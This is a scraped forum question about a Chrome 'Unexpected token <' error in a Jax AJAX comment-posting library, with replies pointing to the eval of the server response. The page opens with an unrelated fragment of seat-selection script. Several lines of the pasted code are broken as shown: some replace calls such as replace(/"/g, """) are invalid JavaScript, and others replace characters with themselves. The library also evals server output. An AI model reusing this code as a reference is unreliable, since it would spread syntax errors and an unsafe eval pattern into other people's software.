i = i.replace(b, "");
document.getElementById("seatString").innerHTML = i;
document.getElementById("getSeats").value = i;
counter = counter - 1;
document.getElementById("seatnums").innerHTML = counter;
}
}
function doNothing() {
}
var rannum = Math.random() * 1000;
document.getElementById('getConfirmation').value = rannum;
</script>

Uncaught SyntaxError: Unexpected token

I have following script which is used to post comments. But when I try to submit the comment Google Chrome throws this error:
Uncaught SyntaxError: Unexpected token <
jax.processResponse
xmlhttp.onreadystatechange
I simply don't know what this error is all about.
function Jax() {
var loadingTimeout = 400;
var iframe;
this.loadingFunction = function () {};
this.doneLoadingFunction = function () {};
this.stringify = function (arg) {
var c, i, l, o, u, v;
switch (typeof arg) {
case "object":
if (arg) {
if (arg.constructor == Array) {
o = "";
for (i = 0; i < arg.length; ++i) {
v = this.stringify(arg[i]);
if (o && (v !== u)) {
o += ","
}
if (v !== u) {
o += v
}
}
return "[" + o + "]"
} else {
if (typeof arg.toString != "undefined") {
o = "";
for (i in arg) {
v = this.stringify(arg[i]);
if (v !== u) {
if (o) {
o += ","
}
o += this.stringify(i) + ":" + v
}
}
return "{" + o + "}"
} else {
return
}
}
}
return "";
case "unknown":
case "undefined":
case "function":
return u;
case "string":
arg = arg.replace(/"/g, '\\"');
l = arg.length;
o = '"';
for (i = 0; i < l; i += 1) {
c = arg.charAt(i);
if (c >= " ") {
if (c == "\\" || c == '"') {
o += "\\"
}
o += c
} else {
switch (c) {
case '"':
o += '\\"';
break;
case "\b":
o += "\\b";
break;
case "\f":
o += "\\f";
break;
case "\n":
o += "\\n";
break;
case "\r":
o += "\\r";
break;
case "\t":
o += "\\t";
break;
default:
c = c.charCodeAt();
o += "\\u00";
o += Math.floor(c / 16).toString(16);
o += (c % 16).toString(16)
}
}
}
return o + '"';
default:
return String(arg)
}
};
this.getRequestObject = function () {
if (window.XMLHttpRequest) {
http_request = new XMLHttpRequest()
} else {
if (window.ActiveXObject) {
var msxmlhttp = new Array("Msxml2.XMLHTTP.4.0", "Msxml2.XMLHTTP.3.0", "Msxml2.XMLHTTP", "Microsoft.XMLHTTP");
for (var i = 0; i < msxmlhttp.length; i++) {
try {
http_request = new ActiveXObject(msxmlhttp[i])
} catch (e) {
http_request = null
}
}
}
}
if (!http_request) {
alert("Unfortunatelly you browser doesn't support this feature.");
return false
}
return http_request
};
this.$ = function (sId) {
if (!sId) {
return null
}
var returnObj = document.getElementById(sId);
if (!returnObj && document.all) {
returnObj = document.all[sId]
}
return returnObj
};
this.addEvent = function (obj, type, fn) {
if (obj.attachEvent) {
obj["e" + type + fn] = fn;
obj[type + fn] = function () {
obj["e" + type + fn](window.event)
};
obj.attachEvent("on" + type, obj[type + fn])
} else {
obj.addEventListener(type, fn, false)
}
};
this.removeEvent = function (obj, type, fn) {
if (obj.detachEvent) {
obj.detachEvent("on" + type, obj[type + fn]);
obj[type + fn] = null
} else {
obj.removeEventListener(type, fn, false)
}
};
this.submitITask = function (comName, func, postData, responseFunc) {
var xmlReq = this.buildXmlReq(comName, func, postData, responseFunc, true);
this.loadingFunction();
if (!this.iframe) {
this.iframe = document.createElement("iframe");
this.iframe.setAttribute("id", "ajaxIframe");
this.iframe.setAttribute("height", 0);
this.iframe.setAttribute("width", 0);
this.iframe.setAttribute("border", 0);
this.iframe.style.visibility = "hidden";
document.body.appendChild(this.iframe);
this.iframe.src = xmlReq
} else {
this.iframe.src = xmlReq
}
};
this.extractIFrameBody = function (iFrameEl) {
var doc = null;
if (iFrameEl.contentDocument) {
doc = iFrameEl.contentDocument
} else {
if (iFrameEl.contentWindow) {
doc = iFrameEl.contentWindow.document
} else {
if (iFrameEl.document) {
doc = iFrameEl.document
} else {
alert("Error: could not find sumiFrame document");
return null
}
}
}
return doc.body
};
this.buildXmlReq = function (comName, func, postData, responseFunc, iframe) {
var xmlReq = "";
if (iframe) {
xmlReq += "?"
} else {
xmlReq += "&"
}
xmlReq += "option=" + comName;
xmlReq += "&no_html=1";
xmlReq += "&task=azrul_ajax";
xmlReq += "&func=" + func;
xmlReq += "&" + jax_token_var + "=1";
if (postData) {
xmlReq += "&" + postData
}
return xmlReq
};
this.submitTask = function (comName, func, postData, responseFunc) {
var xmlhttp = this.getRequestObject();
var targetUrl = jax_live_site;
xmlhttp.open("POST", targetUrl, true);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4) {
if (xmlhttp.status == 200) {
jax.doneLoadingFunction();
jax.processResponse(xmlhttp.responseText)
} else {}
}
};
var id = 1;
var xmlReq = this.buildXmlReq(comName, func, postData, responseFunc);
this.loadingFunction();
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp.send(xmlReq)
};
this.processIResponse = function () {
jax.doneLoadingFunction();
var resp = (this.extractIFrameBody(this.iframe).innerHTML);
resp = resp.replace(/</g, "<");
resp = resp.replace(/>/g, ">");
resp = resp.replace(/&/g, "&");
resp = resp.replace(/"/g, '"');
resp = resp.replace(/'/g, "'");
this.processResponse(resp)
};
this.BetterInnerHTML = function (o, p, q) {
function r(a) {
var b;
if (typeof DOMParser != "undefined") {
b = (new DOMParser()).parseFromString(a, "application/xml")
} else {
var c = ["MSXML2.DOMDocument", "MSXML.DOMDocument", "Microsoft.XMLDOM"];
for (var i = 0; i < c.length && !b; i++) {
try {
b = new ActiveXObject(c[i]);
b.loadXML(a)
} catch (e) {}
}
}
return b
}
function s(a, b, c) {
a[b] = function () {
return eval(c)
}
}
function t(b, c, d) {
if (typeof d == "undefined") {
d = 1
}
if (d > 1) {
if (c.nodeType == 1) {
var e = document.createElement(c.nodeName);
var f = {};
for (var a = 0, g = c.attributes.length; a < g; a++) {
var h = c.attributes[a].name,
k = c.attributes[a].value,
l = (h.substr(0, 2) == "on");
if (l) {
f[h] = k
} else {
switch (h) {
case "class":
e.className = k;
break;
case "for":
e.htmlFor = k;
break;
default:
e.setAttribute(h, k)
}
}
}
b = b.appendChild(e);
for (l in f) {
s(b, l, f[l])
}
} else {
if (c.nodeType == 3) {
var m = (c.nodeValue ? c.nodeValue : "");
var n = m.replace(/^\s*|\s*$/g, "");
if (n.length < 7 || (n.indexOf("<!--") != 0 && n.indexOf("-->") != (n.length - 3))) {
b.appendChild(document.createTextNode(m))
}
}
}
}
for (var i = 0, j = c.childNodes.length; i < j; i++) {
t(b, c.childNodes[i], d + 1)
}
}
p = "<root>" + p + "</root>";
var u = r(p);
if (o && u) {
if (q != false) {
while (o.lastChild) {
o.removeChild(o.lastChild)
}
}
t(o, u.documentElement)
}
};
this.processResponse = function (responseTxt) {
var result = eval(responseTxt);
for (var i = 0; i < result.length; i++) {
var cmd = result[i][0];
var id = result[i][1];
var property = result[i][2];
var data = result[i][3];
var objElement = this.$(id);
switch (cmd) {
case "as":
if (objElement) {
eval("objElement." + property + "= data ; ")
}
break;
case "al":
if (data) {
alert(data)
}
break;
case "ce":
this.create(id, property, data);
break;
case "rm":
this.remove(id);
break;
case "cs":
var scr = id + "(";
if (this.isArray(data)) {
scr += "(data[0])";
for (var l = 1; l < data.length; l++) {
scr += ",(data[" + l + "])"
}
} else {
scr += "data"
}
scr += ");";
eval(scr);
break;
default:
alert("Unknow command: " + cmd)
}
}
};
this.isArray = function (obj) {
if (obj) {
return obj.constructor == Array
}
return false
};
this.buildCall = function (comName, sFunction) {};
this.icall = function (comName, sFunction) {
var arg = "";
if (arguments.length > 2) {
for (var i = 2; i < arguments.length; i++) {
var a = arguments[i];
if (this.isArray(a)) {
arg += "arg" + i + "=" + this.stringify(a) + "&"
} else {
if (typeof a == "string") {
var t = new Array("_d_", encodeURIComponent(a));
arg += "arg" + i + "=" + this.stringify(t) + "&"
} else {
var t = new Array("_d_", encodeURIComponent(a));
arg += "arg" + i + "=" + this.stringify(t) + "&"
}
}
}
}
if (jax_site_type == "1.5") {
this.submitTask(comName, sFunction, arg)
} else {
this.submitITask(comName, sFunction, arg)
}
};
this.call = function (comName, sFunction) {
var arg = "";
if (arguments.length > 2) {
for (var i = 2; i < arguments.length; i++) {
var a = arguments[i];
if (this.isArray(a)) {
arg += "arg" + i + "=" + this.stringify(a) + "&"
} else {
if (typeof a == "string") {
a = a.replace(/"/g, """);
var t = new Array("_d_", encodeURIComponent(a));
arg += "arg" + i + "=" + this.stringify(t) + "&"
} else {
var t = new Array("_d_", encodeURIComponent(a));
arg += "arg" + i + "=" + this.stringify(t) + "&"
}
}
}
}
this.submitTask(comName, sFunction, arg)
};
this.create = function (sParentId, sTag, sId) {
var objParent = this.$(sParentId);
objElement = document.createElement(sTag);
objElement.setAttribute("id", sId);
if (objParent) {
objParent.appendChild(objElement)
}
};
this.remove = function (sId) {
objElement = this.$(sId);
if (objElement && objElement.parentNode && objElement.parentNode.removeChild) {
objElement.parentNode.removeChild(objElement)
}
};
this.getFormValues = function (frm) {
var objForm;
objForm = this.$(frm);
if (!Array.prototype.indexOf) {
Array.prototype.indexOf = function (elt) {
var len = this.length;
var from = Number(arguments[1]) || 0;
from = (from < 0) ? Math.ceil(from) : Math.floor(from);
if (from < 0) {
from += len
}
for (; from < len; from++) {
if (from in this && this[from] === elt) {
return from
}
}
return -1
}
}
var postData = new Array();
if (objForm && objForm.tagName == "FORM") {
var formElements = objForm.elements;
var assCheckbox = new Array();
var assCntIdx = 0;
var arrayHiddenValues = new Array();
var arrayHiddenCount = 0;
if (formElements.length > 0) {
for (var i = 0; i < formElements.length; i++) {
if (!formElements[i].name) {
continue
}
if (formElements[i].type && (formElements[i].type == "radio" || formElements[i].type == "checkbox") && formElements[i].checked == false) {
continue
}
var name = formElements[i].name;
if (name) {
if (formElements[i].type == "select-multiple") {
postData[i] = new Array();
for (var j = 0; j < formElements[i].length; j++) {
if (formElements[i].options[j].selected === true) {
var value = formElements[i].options[j].value;
postData[i][j] = new Array(name, encodeURIComponent(value))
}
}
} else {
if (formElements[i].type == "checkbox") {
if (assCheckbox.indexOf(formElements[i].name) == -1) {
assCheckbox[assCntIdx] = formElements[i].name;
assCntIdx++
}
} else {
if (formElements[i].type == "hidden") {
if (arrayHiddenValues.indexOf(formElements[i].name) == -1) {
arrayHiddenValues[arrayHiddenCount] = formElements[i].name;
arrayHiddenCount++
}
} else {
var value = formElements[i].value;
value = value.replace(/"/g, """);
postData[i] = new Array(name, encodeURIComponent(value))
}
}
}
}
}
}
if (arrayHiddenValues.length > 0) {
for (var i = 0; i < arrayHiddenValues.length; i++) {
var hiddenElement = document.getElementsByName(arrayHiddenValues[i]);
if (hiddenElement) {
if (hiddenElement.length > 1) {
var curLen = postData.length;
postData[curLen] = new Array();
for (var j = 0; j < hiddenElement.length; j++) {
var value = hiddenElement[j].value;
value = value.replace(/"/g, """);
postData[curLen][j] = new Array(arrayHiddenValues[i], encodeURIComponent(value))
}
} else {
var value = hiddenElement[0].value;
value = value.replace(/"/g, """);
postData[postData.length] = new Array(arrayHiddenValues[i], encodeURIComponent(value))
}
}
}
}
if (assCheckbox.length > 0) {
for (var i = 0; i < assCheckbox.length; i++) {
var objCheckbox = document.getElementsByName(assCheckbox[i]);
if (objCheckbox) {
if (objCheckbox.length > 1) {
var tmpIdx = 0;
var curLen = postData.length;
postData[curLen] = new Array();
for (var j = 0; j < objCheckbox.length; j++) {
if (objCheckbox[j].checked) {
var value = objCheckbox[j].value;
value = value.replace(/"/g, """);
postData[curLen][j] = new Array(assCheckbox[i], encodeURIComponent(value));
tmpIdx++
}
}
} else {
if (objCheckbox[0].checked) {
var value = objCheckbox[0].value;
value = value.replace(/"/g, """);
postData[postData.length] = new Array(assCheckbox[i], encodeURIComponent(value))
}
}
}
}
}
}
return postData
}
}
function jax_iresponse() {
jax.processIResponse()
}
var jax = new Jax();
Please help me.
I'm not sure anyone should read obfuscated, minified code, but i found this:
**xmlhttp.onreadystatechange**=function(){
if(xmlhttp.readyState==4){
if(xmlhttp.status==200){
jax.doneLoadingFunction();
**jax.processResponse**(xmlhttp.responseText)}
else{}
}
};
Which returns a js error on line 1 :))
Are you allowed to use ** with variable names in js?
check if your bug is not here line 296
var result = eval(responseTxt);
What are you getting as a response? is it html, json?
Check also for notices in your backend script,
You can check this with the console/inspector in chrome (f12) , network tab.
It could be even be a debug output/notice/error from your backend script.
If you open it with firefox, i think firebug shows you a JSON tab if your response is in correct json format.

Categories

Resources